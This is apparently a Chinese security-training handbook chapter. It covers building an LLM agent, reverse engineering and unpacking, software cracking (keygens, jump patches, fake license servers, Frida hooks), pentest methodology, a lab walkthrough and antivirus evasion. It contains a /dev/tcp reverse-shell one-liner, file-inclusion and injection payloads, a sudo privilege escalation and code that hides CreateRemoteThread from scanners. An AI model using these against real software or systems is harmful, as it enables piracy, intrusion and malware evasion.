Skip to content

第 11 章 硬核进阶:把技术往深里练 ​

预计阅读 20 分钟 · 全文约 5,924 字

本章产出:一个自研 Agent 双语言实现、一份完整的逆向破解实战记录、一套渗透测试流程模板。

说明:本章是全书最难的一章,信息密度最高。看不懂没关系,先跳过,等前面的 Lab 都做完了再回来。


开场:为什么"会破解"的人,大多不懂原理 ​

有个现象很常见。

网上教"破解软件"的教程,步骤一般是这样的:下载这个工具 → 拖进去 → 点这里 → 打补丁 → 完事。

跟着做,你确实能让一个程序跑起来。但你问他:"为什么这个补丁能生效?"他答不上来。

因为他学的是"操作",不是"原理"。

换个程序、换个壳、换个保护方式,他就不会了——因为他不理解"程序是怎么被验证的、验证逻辑在哪、怎么找到它"。

这一章的写法跟网上教程相反:先讲原理,再讲操作。

  • 逆向:先讲清楚"机器码、汇编、伪代码"三层结构,你才知道你在看什么
  • 破解:先讲清楚"三种验证模式",你才知道哪些能破、哪些不能
  • 渗透:先讲清楚"授权边界",你才知道自己在做什么

学完这一章,你手里不是一堆步骤,而是一套判断方法。


11.1 从零写 Agent:Python 版 + TypeScript 版 ​

为什么要两个版本 ​

Python 生态好、写起来快,适合做原型和脚本。TypeScript 能跑在浏览器和 Node,适合做产品、做插件。

两版对照着看,你能更清楚"什么是语言无关的核心"。

Python 版:完整可运行 ​

python
# agent.py
import json
import subprocess
import os
from openai import OpenAI

client = OpenAI(
    base_url=os.getenv("BASE_URL", "https://api.openai.com/v1"),
    api_key=os.getenv("API_KEY")
)
MODEL = os.getenv("MODEL", "gpt-4o-mini")
WORKSPACE = os.path.abspath(os.getenv("WORKSPACE", "./workspace"))
MAX_STEPS = 15

TOOLS = [
    {
        "type": "function",
        "function": {
            "name": "read_file",
            "description": "读取工作区内的文件。路径相对于工作区根目录。",
            "parameters": {
                "type": "object",
                "properties": {"path": {"type": "string"}},
                "required": ["path"]
            }
        }
    },
    {
        "type": "function",
        "function": {
            "name": "write_file",
            "description": "写入文件。会覆盖原内容。",
            "parameters": {
                "type": "object",
                "properties": {
                    "path": {"type": "string"},
                    "content": {"type": "string"}
                },
                "required": ["path", "content"]
            }
        }
    },
    {
        "type": "function",
        "function": {
            "name": "list_dir",
            "description": "列出工作区内某个目录的文件。",
            "parameters": {
                "type": "object",
                "properties": {"path": {"type": "string"}},
                "required": ["path"]
            }
        }
    },
    {
        "type": "function",
        "function": {
            "name": "run_command",
            "description": "在工作区内执行 shell 命令,超时 30 秒。",
            "parameters": {
                "type": "object",
                "properties": {"command": {"type": "string"}},
                "required": ["command"]
            }
        }
    }
]

def safe_path(rel_path: str) -> str:
    """把相对路径限制在工作区内"""
    full = os.path.realpath(os.path.join(WORKSPACE, rel_path))
    if not full.startswith(WORKSPACE + os.sep) and full != WORKSPACE:
        raise PermissionError(f"越界路径:{rel_path}")
    return full

def execute_tool(name: str, args: dict) -> str:
    try:
        if name == "read_file":
            with open(safe_path(args["path"]), encoding="utf-8") as f:
                return f.read()[:8000]  # 截断,防爆上下文

        elif name == "write_file":
            p = safe_path(args["path"])
            os.makedirs(os.path.dirname(p) or WORKSPACE, exist_ok=True)
            with open(p, "w", encoding="utf-8") as f:
                f.write(args["content"])
            return f"已写入 {len(args['content'])} 字符"

        elif name == "list_dir":
            p = safe_path(args.get("path", "."))
            return "\n".join(os.listdir(p))

        elif name == "run_command":
            r = subprocess.run(
                args["command"], shell=True, cwd=WORKSPACE,
                capture_output=True, text=True, timeout=30
            )
            out = (r.stdout + r.stderr)[:8000]
            return f"退出码 {r.returncode}\n{out}"

        return f"未知工具:{name}"
    except subprocess.TimeoutExpired:
        return "错误:命令超时(30 秒)"
    except PermissionError as e:
        return f"错误:{e}"
    except Exception as e:
        return f"错误:{type(e).__name__}: {e}"

def compact(messages, limit=24):
    """上下文管理:保留系统消息 + 最近 N 条 + 一条压缩摘要"""
    if len(messages) <= limit:
        return messages
    head, tail = messages[0], messages[-limit:]
    return [head, {"role": "user", "content": "(早期对话已压缩)"}] + tail

def run_agent(task: str):
    messages = [
        {"role": "system", "content": (
            "你是运行在受限工作区的助手。你可以读文件、写文件、列目录、执行命令。\n"
            "规则:\n"
            "1. 先想清楚再动手,不要盲目重试\n"
            "2. 同一个错误连续出现两次,停下来向用户报告\n"
            "3. 完成任务后直接给出结论,不要继续调用工具\n"
            "4. 只操作工作区内的文件"
        )},
        {"role": "user", "content": task}
    ]

    for step in range(MAX_STEPS):
        messages = compact(messages)
        resp = client.chat.completions.create(
            model=MODEL, messages=messages, tools=TOOLS, temperature=0.2
        )
        msg = resp.choices[0].message
        messages.append(msg.model_dump(exclude_none=True))

        if not msg.tool_calls:
            return msg.content

        for tc in msg.tool_calls:
            args = json.loads(tc.function.arguments or "{}")
            print(f"[step {step}] {tc.function.name}({args})")
            result = execute_tool(tc.function.name, args)
            messages.append({
                "role": "tool",
                "tool_call_id": tc.id,
                "content": result
            })

    return "达到最大步数,任务未完成"

if __name__ == "__main__":
    print(run_agent(input("任务:")))

这段代码可以直接跑(装 openai 库,配好环境变量 BASE_URL/API_KEY/MODEL)。

它已经包含了一个生产 Agent 的核心要素:

  • 工具定义 + 执行
  • 路径沙箱
  • 超时
  • 上下文压缩
  • 最大步数
  • 明确的系统规则(别乱重试、别越界)

TypeScript 版:核心逻辑对照 ​

typescript
// agent.ts
import OpenAI from "openai";
import { exec } from "child_process";
import { readFile, writeFile, readdir } from "fs/promises";
import path from "path";

const WORKSPACE = path.resolve(process.env.WORKSPACE ?? "./workspace");
const client = new OpenAI({ baseURL: process.env.BASE_URL, apiKey: process.env.API_KEY });

function safePath(rel: string): string {
  const full = path.resolve(WORKSPACE, rel);
  if (!full.startsWith(WORKSPACE + path.sep) && full !== WORKSPACE) {
    throw new Error(`越界路径: ${rel}`);
  }
  return full;
}

async function executeTool(name: string, args: any): Promise<string> {
  try {
    switch (name) {
      case "read_file":
        return (await readFile(safePath(args.path), "utf-8")).slice(0, 8000);
      case "list_dir":
        return (await readdir(safePath(args.path ?? "."))).join("\n");
      case "write_file":
        await writeFile(safePath(args.path), args.content, "utf-8");
        return `已写入 ${args.content.length} 字符`;
      case "run_command":
        return await new Promise((resolve) => {
          exec(args.command, { cwd: WORKSPACE, timeout: 30000 }, (err, stdout, stderr) => {
            resolve(((stdout ?? "") + (stderr ?? "")).slice(0, 8000));
          });
        });
      default:
        return `未知工具: ${name}`;
    }
  } catch (e: any) {
    return `错误: ${e.message}`;
  }
}

export async function runAgent(task: string): Promise<string> {
  const messages: any[] = [
    { role: "system", content: "你是受限工作区助手。规则:不重试同一错误两次;完成后直接给结论。" },
    { role: "user", content: task }
  ];

  for (let step = 0; step < 15; step++) {
    if (messages.length > 24) {
      messages.splice(1, messages.length - 24, { role: "user", content: "(早期对话已压缩)" });
    }
    const resp = await client.chat.completions.create({
      model: process.env.MODEL ?? "gpt-4o-mini",
      messages,
      tools: TOOLS,
      temperature: 0.2
    });
    const msg = resp.choices[0].message;
    messages.push(msg);
    if (!msg.tool_calls?.length) return msg.content ?? "";

    for (const tc of msg.tool_calls) {
      const args = JSON.parse(tc.function.arguments || "{}");
      const result = await executeTool(tc.function.name, args);
      messages.push({ role: "tool", tool_call_id: tc.id, content: result });
    }
  }
  return "达到最大步数";
}

两版对照,核心是什么 ​

概念PythonTS本质
工具定义dictobject都是 JSON Schema
工具执行函数分发switch都是"名字→函数"映射
路径沙箱realpath 前缀检查resolve 前缀检查同一思路
上下文压缩列表切片数组 splice同一思路
循环forfor同一结构

语言只是皮,架构才是骨。 会了这套骨架,换任何语言都能写。


11.2 逆向深入:脱壳、反调试、VM 保护、算法还原 ​

壳是什么 ​

壳(Packer)= 把程序压缩/加密,运行时再解压到内存执行的工具。

目的:

  • 减小体积(早期目的)
  • 防逆向(现在的主要目的)

常见壳:UPX、VMProtect、Themida、ASPack、自定义壳。

脱壳的基本思路 ​

核心矛盾:壳必须把原程序解压到内存才能运行,所以原程序一定会在内存里出现。

方法一:内存 dump

  1. 让程序跑起来
  2. 等它解压完(找到 OEP,Original Entry Point)
  3. 把内存里的程序 dump 出来
  4. 修复导入表(IAT)

工具:Scylla、x64dbg 的 dump 插件、PE 工具。

方法二:ESP 定律

壳在解压后会跳回原程序入口。此时栈指针(ESP)会指向特定位置。在 ESP 上设硬件断点,断下时就是 OEP。

步骤:

  1. 在壳的入口处,对 ESP 下硬件访问断点
  2. 运行
  3. 断下时,看调用栈,找到跳回原程序的那次跳转
  4. 那个地址就是 OEP

方法三:单步跟踪

最笨但最可靠:从壳入口开始,一步步跟,直到看到"明显的原程序代码"(比如标准的函数序言、字符串引用)。

反调试技术 ​

为什么有反调试:壳/保护想阻止你调试。

常见反调试:

技术原理绕过
IsDebuggerPresent检查调试器标志改返回值 / hook
PEB.BeingDebugged读进程环境块标志改内存
时间检测调试时执行变慢补丁时间函数
硬件断点检测读调试寄存器清理断点
异常处理检测调试器会接管异常改异常处理
父进程检测检查父进程是不是调试器改父进程
TLS 回调在入口前执行检测代码跳过 TLS 回调

绕过思路:

  • 静态:找到检测代码,patch 掉(改成永远返回"没调试")
  • 动态:hook 检测函数,让它返回假结果
  • 工具:ScyllaHide、TitanHide(隐藏调试器)

VM 保护 ​

VMProtect 这类工具:把代码编译成自定义的"虚拟机指令",运行时解释执行。

特征:

  • 大量 push/pop/jmp 交织
  • 看不到正常的函数结构
  • 关键代码被"虚拟化"

对抗思路:

  1. 找 VM 入口:通常是一个大的 dispatcher(分发器)循环
  2. 分析 VM 结构:找到"指令解释器",理解它怎么解码
  3. 写反编译器:把 VM 指令翻译回正常指令(工作量巨大)
  4. 或者绕过:不逆 VM 本身,找它保护之外的漏洞(比如验证逻辑没被虚拟化)

实话:完整的 VM 逆向是专业团队几个月的活。个人逆向,通常找"没被保护的部分"下手。

算法还原 ​

目标:从一个函数反推出它的算法逻辑。

流程:

1. 定位关键函数(通过字符串、API 调用、交叉引用)
2. 读伪代码,理解大结构
3. 遇到不认识的常量 → 查(可能是魔数、哈希初值、加密表)
4. 遇到复杂运算 → 用 Python 复现,对比结果
5. 逐步验证:输入已知,看输出是否与程序一致
6. 补全边界条件

常用技巧:

  • 魔数识别:0x67452301 是 MD5 初值,0x9E3779B9 是 TEA 加密常量
  • 查表识别:大数组通常是 S-box、CRC 表、Base64 表
  • 动态验证:改输入,看输出变化,推断运算

一个完整的算法还原案例 ​

假设你要还原一个注册码算法:

c
// 伪代码(反编译得到)
int check(char* name, char* key) {
    int sum = 0;
    for (int i = 0; name[i]; i++) {
        sum += name[i] * (i + 1);
    }
    sum ^= 0x5A5A;
    char expected[16];
    sprintf(expected, "%08X", sum);
    return strcmp(key, expected) == 0;
}

还原步骤:

  1. 读伪代码:用户名每个字符乘以位置索引,累加
  2. 异或 0x5A5A
  3. 转成 8 位十六进制字符串
  4. 与输入的 key 比较

Python 复现:

python
def gen_key(name: str) -> str:
    total = 0
    for i, ch in enumerate(name, start=1):
        total += ord(ch) * i
    total ^= 0x5A5A
    return f"{total:08X}"

print(gen_key("test"))  # 输出注册码

验证:拿这个 key 去程序里试,能过,算法就还原对了。


11.3 破解实战:注册机、内存补丁、模拟授权服务器 ​

破解对比

图 11-1:三种验证模式

三种破解手法 ​

手法原理适用
注册机(keygen)还原算法,自己生成合法卡密本地验证
内存补丁(patch)改程序指令,跳过验证本地验证
模拟服务器伪造验证服务器的响应服务器验证(弱)

手法一:写注册机 ​

前提:算法在本地,能还原。

流程:

  1. 逆向出验证算法
  2. 用 Python/C 复现
  3. 做一个界面(可选)
  4. 输入用户名,输出卡密

完整示例(接上一节的算法):

python
import tkinter as tk

def gen_key(name):
    total = 0
    for i, ch in enumerate(name, start=1):
        total += ord(ch) * i
    total ^= 0x5A5A
    return f"{total:08X}"

def on_click():
    name = entry.get()
    result_label.config(text=f"注册码:{gen_key(name)}")

root = tk.Tk()
root.title("注册机")
tk.Label(root, text="用户名").pack()
entry = tk.Entry(root)
entry.pack()
tk.Button(root, text="生成", command=on_click).pack()
result_label = tk.Label(root, text="")
result_label.pack()
root.mainloop()

这就是"注册机":本质是把逆向出来的算法重新实现一遍。

手法二:内存补丁 ​

思路:找到验证的跳转指令,改成"永远跳向成功"。

伪代码:

asm
cmp eax, 1        ; 验证结果
jne fail_label    ; 不等就跳失败

补丁:把 jne 改成 jmp(无条件跳),或者把条件反过来。

工具操作(x64dbg):

  1. 找到验证处
  2. 选中指令
  3. 右键 → Assemble
  4. 改成 nop(不执行)或 jmp
  5. 保存到文件(Patch file)

注意:改完要修复文件校验(如果有 CRC 检查)。

手法三:模拟授权服务器 ​

前提:程序会向服务器验证,但验证逻辑弱(比如只检查返回码)。

思路:

  1. 抓包,看验证请求和响应
  2. 本地起一个假服务器,返回"验证通过"
  3. 改 hosts,把域名指向本地
  4. 或者用中间人代理(mitmproxy)拦截并改响应

限制:

  • 如果服务器返回的是加密的授权数据(含签名),假响应会被识破
  • 如果客户端有证书校验(SSL Pinning),要额外绕过
  • 如果功能依赖服务器下发数据,假服务器给不出

所以:这招只对"验证逻辑弱"的程序有效。

三种手法的选择 ​

验证在本地?
├─ 是 → 算法能还原?
│        ├─ 能 → 注册机(最优雅)
│        └─ 不能 → 内存补丁
└─ 否(服务器验证)
         ├─ 只检查返回码 → 模拟服务器
         └─ 强验证 → 基本没戏(要攻击服务器)

11.4 渗透测试全流程:侦察、扫描、利用、后渗透 ​

标准流程 ​

1. 信息收集(Recon)
2. 扫描与枚举(Scanning)
3. 漏洞验证(Exploitation)
4. 后渗透(Post-Exploitation)
5. 报告(Reporting)

阶段一:信息收集 ​

目标:知道目标有哪些资产、暴露了什么。

子域名:

bash
subfinder -d example.com -o subs.txt

端口/服务:

bash
nmap -sV -sC -oN scan.txt target.com

技术栈识别:

bash
whatweb http://target.com
httpx -u https://target.com -tech-detect

目录扫描:

bash
ffuf -u https://target.com/FUZZ -w wordlist.txt

信息泄露:

  • GitHub 搜代码(org:target password)
  • Google Hacking(site:target.com filetype:pdf)
  • JS 文件里找 API 地址、密钥

阶段二:扫描与枚举 ​

Web 漏洞扫描:

bash
nikto -h https://target.com
nuclei -u https://target.com -t cves/

注意:扫描器会留下大量日志,容易被发现。授权测试要提前说明。

阶段三:漏洞验证 ​

原则:只验证,不破坏。用最小 payload 证明漏洞存在。

SQL 注入验证:

bash
sqlmap -u "https://target.com/item?id=1" --batch --level=1 --risk=1

XSS 验证:在输入点插入 <script>alert(document.domain)</script>,看是否执行。

命令注入验证:输入 ; id,看返回里有没有 uid 信息。

阶段四:后渗透 ​

拿到 webshell / 反弹 shell 之后:

bash
# 提权信息收集
whoami /priv        # Windows
sudo -l             # Linux
find / -perm -4000  # SUID 文件

# 横向移动
# 找凭据、找内网资产、找信任关系

注意:后渗透阶段风险最高,每一步都可能影响业务。授权范围要写清楚"能做什么、不能做什么"。

阶段五:报告 ​

一份合格的渗透报告包含:

  1. 概述:测试范围、时间、方法
  2. 风险汇总:高危/中危/低危各几个
  3. 漏洞详情:每个漏洞的
    • 位置
    • 复现步骤
    • 影响
    • 修复建议
  4. 附录:工具、日志、截图

写报告的原则:让不懂技术的老板能看懂风险,让开发能照着修。

法律与授权(技术边界) ​

做渗透测试,必须有书面授权。

授权书要写清:

  • 测试范围(哪些域名/IP)
  • 测试时间
  • 允许的手法(能不能用 sqlmap、能不能爆破)
  • 禁止的操作(不能删数据、不能留后门)
  • 联系人

没有授权就是攻击,性质完全不同。


11.5 黑产产业链拆解:钱从哪来、坑在哪 ​

产业链一:账号交易(号商) ​

模式:批量注册账号 → 养号 → 卖给需要的人。

货源:

  • 接码平台(虚拟手机号)
  • 打码平台(绕过验证码)
  • 自动化脚本(批量注册)

买家:刷量工作室、灰产从业者、诈骗团伙。

风险:违反平台规则,涉嫌"帮助信息网络犯罪活动罪"。

产业链二:发卡网 ​

模式:提供"自动发卡"系统,卖家上传卡密,买家付款后自动发货。

为什么灰产爱用:

  • 匿名(不用实名)
  • 自动(不用人工)
  • 可跑路(随时关站)

风险:为灰产提供支付和分发渠道,可能构成共犯。

产业链三:代装/代配 ​

模式:帮人装软件、配 API、搭环境。

灰产变种:帮人配"翻墙"、"批量起号"、"自动引流"工具。

风险:如果工具本身违法,代装也是参与。

产业链四:资金盘 ​

模式:包装成"AI 投资""算力挖矿",用后来者的钱付前人的利息。

话术:

  • "AI 量化,日收益 1%"
  • "算力租赁,稳赚不赔"
  • "早入场早躺赚"

崩盘信号:提现变慢、规则突变、客服失联。

产业链五:卖课 ​

模式:把免费知识包装成课程,卖给焦虑的人。

话术:

  • "AI 时代,不学就被淘汰"
  • "三天学会,月入三万"
  • "限时优惠,最后 10 个名额"

真相:课程内容多数网上免费,价值在"路径"和"陪伴",但多数课连这个都没有。

一张"灰产识别表" ​

特征说明
强调"平台查不到"大概率违规
要求"拉人头"传销/资金盘
承诺"稳赚"骗局
价格远低于成本跑路盘
不签合同、不给源码骗局
要求先交押金骗局

记住一句话:凡是让你"先交钱再赚钱"的,都要打问号。


11.6 商业化接单:报价、合同、交付、客户沟通 ​

报价的底层逻辑 ​

价格 = 客户感知价值,不是你的工时。

客户不关心你花了多久,只关心"你能帮我省多少/赚多少"。

报价公式:

报价 = 客户收益 × 分成比例(10%-30%)
或
报价 = 替代成本 × 折扣(比如替代一个客服,月薪 5000,你收 2000/月)

合同要点 ​

必须写清:

  1. 范围:做什么、不做什么
  2. 交付物:代码、文档、部署
  3. 时间:里程碑和 deadline
  4. 付款:定金比例、尾款条件
  5. 知识产权:源码归谁
  6. 维护:免费维护多久、之后怎么收费
  7. 违约:延期怎么办、不付款怎么办

新手最容易漏的:范围(客户中途加需求)和维护(交付后天天找你改 bug)。

交付流程 ​

1. 需求确认(书面)
2. 原型/方案确认
3. 开发(分阶段给客户看)
4. 测试(客户参与)
5. 部署上线
6. 培训/文档
7. 验收签字
8. 收尾款

客户沟通的三条原则 ​

原则一:说人话。 客户不懂技术,别跟他讲"向量数据库""embedding",讲"它能帮你自动找资料"。

原则二:管理预期。 别承诺"百分百准确",说"能处理 90% 的常见问题,剩下的转人工"。

原则三:留证据。 重要决策用邮件/微信文字确认,别只口头说。

一个真实的报价案例 ​

需求:某小公司要一个"内部知识库问答",能回答员工关于人事制度、报销流程的问题。

评估:

  • 文档整理:3 天
  • 知识库搭建:2 天
  • 界面/接入:2 天
  • 测试调优:2 天
  • 合计:9 天

报价:9000 元(1000/天),分两期:定金 50%,验收后付尾款。

成本:API 费用约 200 元/月,服务器可选本地部署(一次性 2000)。

为什么值这个价:HR 每天回答重复问题 1 小时,一年 250 小时,按 50/小时算,省 12500 元。

这就是"按价值报价":不说"我花了 9 天",说"帮你一年省一万二"。


11.7 开源项目改造:拿 Cline / OpenHands 改成自己的产品 ​

为什么改造比从零写划算 ​

  • 基础设施(工具调用、上下文管理、UI)别人写好了
  • 你只需要改"差异化"的部分
  • 省几个月时间

改造的三种深度 ​

深度一:换皮(1-2 天)

改名字、改 logo、改配色、改提示词。

适合:快速验证需求。

深度二:换工具(1-2 周)

保留框架,换掉工具集——比如把"通用文件操作"换成"你的行业专用工具"。

适合:垂直场景。

深度三:改架构(1-2 月)

改核心逻辑:上下文管理、规划策略、多智能体协作。

适合:有明确技术差异化的产品。

改造流程 ​

1. fork 仓库
2. 读 README + 架构文档
3. 跑起来(先确保能跑)
4. 找到要改的模块
5. 小步改,每步跑测试
6. 保持上游同步(定期 merge)

许可证问题 ​

开源不等于随便用。

许可证能商用吗要求
MIT能保留版权声明
Apache 2.0能保留声明、专利授权
GPL能,但衍生作品也要开源传染性
AGPL能,但网络服务也要开源更强传染性
自定义看条款可能限制商用

商用前必看 LICENSE 文件。 看不懂就搜"许可证名 + 商用"。


11.8 渗透实战演练:一台靶机的完整打法 ​

场景 ​

靶机:HackTheBox 或 TryHackMe 上的入门机器,你只知道一个 IP。

目标:拿到 user.txt 和 root.txt。

阶段一:侦察(不放过任何线索) ​

bash
# 1. 全端口扫描(先快扫,再深扫)
nmap -p- --min-rate 2000 -T4 10.10.10.10 -oN ports.txt

# 2. 对开放端口做服务识别
nmap -sV -sC -p 22,80,8080 10.10.10.10 -oN services.txt

# 3. 如果有 Web,做目录枚举
ffuf -u http://10.10.10.10/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302,403

关键思维:每个开放端口都是一个门。22 是 SSH(可能有弱口令),80 是 Web(可能有漏洞),3306 是数据库(可能能弱口令直连)。

阶段二:找入口 ​

如果 Web 有登录框:

  • 试默认口令(admin/admin、admin/password)
  • 试 SQL 注入(admin' OR '1'='1)
  • 看是否有注册功能(注册后可能有越权)

如果 Web 有上传:

  • 上传 .php 看能否执行
  • 绕过:改后缀(.phtml/.php5)、改 Content-Type、加图片头

如果有文件包含:

bash
# 读 /etc/passwd
?file=../../../../etc/passwd
# 用 php filter 读源码
?file=php://filter/convert.base64-encode/resource=index.php

阶段三:拿 shell ​

命令注入:

bash
# 反弹 shell
127.0.0.1; bash -c 'bash -i >& /dev/tcp/你的IP/4444 0>&1'

本地先开监听:

bash
nc -lvnp 4444

拿到 shell 后第一件事:

bash
id            # 当前用户
uname -a      # 系统版本
sudo -l       # 有没有 sudo 权限
find / -perm -4000 -type f 2>/dev/null   # SUID 文件

阶段四:提权 ​

常见提权路径:

路径检查命令
sudo 配置错误sudo -l
SUID 可执行文件find / -perm -4000
定时任务cat /etc/crontab、ls -la /etc/cron*
内核漏洞uname -a + 搜对应 exp
明文密码grep -r "password" /var/www

一个真实的提权例子:

bash
sudo -l
# 输出:(root) NOPASSWD: /usr/bin/find

这是经典配置错误——find 能执行命令:

bash
sudo find / -exec /bin/sh \; -quit
# 拿到 root shell

阶段五:写报告 ​

报告结构:

  1. 目标信息、测试时间
  2. 攻击路径图(从外到内,每一步)
  3. 每个漏洞:位置、复现、影响、修复建议
  4. 附录:命令、截图、日志

一句话:报告是给"要修漏洞的人"看的,不是给"看你多牛"看的。


11.9 逆向工具链:常用命令速查 ​

侦察阶段 ​

bash
file target.exe              # 文件类型
strings -n 8 target.exe      # 提取字符串
binwalk target.bin           # 找嵌入文件
exiftool target.jpg          # 元数据

静态分析 ​

bash
# Ghidra(图形界面)
ghidraRun

# objdump 反汇编
objdump -d target.exe

# readelf(Linux)
readelf -h target

# JADX(Android)
jadx -d out/ target.apk

动态调试 ​

text
# GDB 会话
$ gdb ./target
(gdb) break main
(gdb) run
(gdb) x/20wx $rsp

# x64dbg(Windows,图形界面)
# F2 下断点,F7 单步进入,F8 单步跳过,F9 运行

# Frida 动态插桩
frida -U -f com.example.app -l hook.js

常用 hook 脚本(Frida) ​

javascript
Java.perform(function () {
    var Target = Java.use("com.example.app.License");
    Target.check.overload().implementation = function () {
        console.log("[*] check() 被调用,返回 true");
        return true;
    };
});

这段脚本的作用:把验证函数直接改成"永远返回 true"。

脱壳工具 ​

工具平台用途
UPX通用最简单的壳,upx -d 直接脱
ScyllaWindowsdump + 修复 IAT
Frida-DEXDumpAndroid脱 DEX
FRIDA-DEXDumpAndroid同上

11.10 免杀基础:为什么"改几个字节"就能过杀软 ​

杀软的三种检测 ​

① 特征码:匹配已知恶意代码的字节序列。

绕过:改特征码(加花指令、换等价指令、加密壳)。

② 行为检测:监控 API 调用序列(比如"创建进程 + 写注册表 + 联网")。

绕过:拆分行为、延迟执行、用合法程序代理(白加黑)。

③ 沙箱/启发式:在虚拟环境里跑,看行为像不像恶意。

绕过:检测虚拟机(反沙箱)、延迟触发、检查环境。

一个最小例子(理解原理,不鼓励滥用) ​

c
// 原始:直接调用 CreateRemoteThread(高特征)
CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);

改成动态解析:

c
// 从 kernel32 动态取地址,避免导入表里出现敏感 API
typedef HANDLE (WINAPI *pCRT)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T,
                              LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
pCRT f = (pCRT)GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateRemoteThread");
f(hProc, NULL, 0, addr, NULL, 0, NULL);

原理:导入表里看不到 CreateRemoteThread,静态扫描就抓不到。

但是 ​

免杀是军备竞赛:今天过,明天可能被查。而且:

  • 商用杀软的云端情报更新很快
  • 行为检测越来越强
  • 真要做,得持续投入

对学习者:理解原理就够了。知道杀软怎么检测,才知道怎么防。


行业观察:渗透测试合同里必须写的五个条款 ​

一份正规的渗透测试合同,除了价格和周期,一定包含这五条:

  1. 测试范围:明确列出域名、IP 段、App 包名。范围外的一律不碰。
  2. 测试时间窗:比如"每周二至周四 22:00-次日 6:00",避开业务高峰。
  3. 禁止操作清单:不删数据、不植入后门、不上传 webshell 长期驻留、不横向扩展到范围外。
  4. 数据保密与销毁:测试中拿到的数据,项目结束后多少天内销毁,出具销毁证明。
  5. 免责与通知机制:发现高危漏洞,多久内必须通知甲方(通常 24 小时)。

行业真相:正规渗透测试最怕的不是"打不进去",是"打进去之后手滑"。所以合同里写的最多的,是"不许做什么"。


踩坑实录 ​

坑一:脱壳脱出个残废程序 ​

场景:有人 dump 了内存,直接保存成 exe,运行报错"缺少导入表"。

为什么:dump 出来的只是内存镜像,导入表(IAT)还没修复。

怎么爬出来:用 Scylla 等工具修复 IAT;或者找"自动脱壳"脚本。

坑二:patch 完程序崩溃 ​

场景:有人把 jne 改成 jmp,程序直接崩了。

为什么:改的长度不对,破坏了后面的指令对齐;或者跳转目标错了。

怎么爬出来:用等长指令替换(jne → nop nop 或 jmp 需要算好偏移);改完单步验证。

坑三:渗透测试没授权 ​

场景:有人拿真实网站练手,被报警。

为什么:技术不分好坏,目标有归属。

怎么爬出来:用靶场(DVWA、HTB、CTF 平台);真实目标必须有书面授权。

坑四:接单没签合同 ​

场景:有人接了个单,做完客户不付尾款,还没合同,要不回来。

怎么爬出来:定金 + 合同 + 分阶段付款。这是底线,不是可选项。


Lab 11-1|完整拆解一个练习程序 ​

难度:⭐⭐⭐⭐⭐ 预计耗时:4-6 小时

目标:走完"识别 → 逆向 → 还原 → 验证"的完整流程

准备:

  • 自己写一个带注册码验证的 C 程序(或者用网上的 crackme 练习程序)
  • 工具:Ghidra(免费)、x64dbg(Windows)

步骤:

  1. 识别:strings 扫一遍,找线索(错误提示、密钥、URL)
  2. 静态分析:Ghidra 打开,找主函数和验证函数
  3. 读伪代码:理解算法逻辑(输入怎么处理、怎么比较)
  4. 动态验证:x64dbg 断在验证函数,看实际参数
  5. 算法还原:用 Python 复现算法
  6. 写注册机:输入用户名,输出合法注册码
  7. 验证:拿注册码去程序里试,能过就算成功
  8. 写报告:记录每一步的发现、工具输出、结论

验收标准:

  • [ ] 能定位验证函数
  • [ ] 能讲清算法逻辑
  • [ ] Python 复现的算法与程序行为一致
  • [ ] 注册机能生成有效注册码
  • [ ] 有一份完整报告

卡住了怎么办:

  • 找不到验证函数 → 从错误字符串交叉引用找
  • 伪代码看不懂 → 对照汇编看,找关键比较指令
  • 算法还原不对 → 用程序的实际输入输出反推,逐步修正
  • 程序有反调试 → 用 ScyllaHide 或手动 patch 检测点

本章自检清单 ​

  • [ ] Agent 的骨架包含哪几部分?
  • [ ] 路径沙箱怎么实现?
  • [ ] 脱壳的核心思路是什么?OEP 怎么找?
  • [ ] 常见反调试技术有哪几种?怎么绕?
  • [ ] VM 保护的对抗思路是什么?
  • [ ] 三种破解手法分别适用什么场景?
  • [ ] 渗透测试五个阶段是什么?
  • [ ] 授权书必须写清哪几项?
  • [ ] 黑产的五条产业链分别是什么?
  • [ ] 报价的底层逻辑是什么?
  • [ ] 开源改造的三种深度是什么?许可证要注意什么?

学习进度:0 / 13 章
📝 本章小测验(3 题)

1. 脱壳的核心思路是?

2. 三种破解手法中,针对「弱服务器验证」的是?

3. 渗透测试的第一步是?

一句话记住 ​

逆向的尽头是还原逻辑,安全的尽头是理解边界——技术越深,越要知道自己在拆什么。


延伸阅读 ​

  • 《加密与解密》(第 4 版)——逆向入门到进阶
  • 《Web 安全深度剖析》——Web 漏洞系统讲解
  • OWASP Testing Guide——渗透测试标准流程
  • Cline / OpenHands 源码——Agent 架构最佳参考

最后更新:2026-10

本手册用于学习与研究,技术内容请在自己拥有或获得授权的环境中实践。